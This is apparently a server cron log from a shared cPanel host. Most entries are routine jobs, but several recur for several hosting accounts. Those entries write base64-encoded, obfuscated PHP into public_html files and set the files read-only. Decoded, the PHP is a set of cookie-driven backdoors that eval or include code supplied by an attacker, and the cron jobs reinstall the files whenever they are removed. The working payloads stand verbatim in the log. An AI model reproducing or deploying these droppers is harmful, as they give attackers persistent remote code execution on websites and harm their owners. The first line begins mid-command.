X3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:06:02 medusa CROND[21900]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:06:02 medusa CROND[21897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:06:02 medusa CROND[21904]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:06:02 medusa CROND[21912]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:06:02 medusa CROND[21928]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:07:02 medusa CROND[27507]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:07:02 medusa CROND[27637]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:07:02 medusa CROND[27639]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:07:02 medusa CROND[27640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:07:02 medusa CROND[27642]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:07:02 medusa CROND[27643]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:07:02 medusa CROND[27644]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:07:02 medusa CROND[27636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:07:02 medusa CROND[27646]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:07:02 medusa CROND[27650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:07:02 medusa CROND[27648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:07:02 medusa CROND[27662]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:08:01 medusa CROND[2418]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:08:01 medusa CROND[2419]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cldetect.cronlock /usr/bin/cldetect --update-license)
Mar  2 01:08:01 medusa CROND[2421]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:08:01 medusa CROND[2422]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:08:01 medusa CROND[2423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:08:01 medusa CROND[2424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:08:01 medusa CROND[2426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:08:01 medusa CROND[2440]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:08:01 medusa CROND[2441]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:08:01 medusa CROND[2439]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 01:08:01 medusa CROND[2442]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
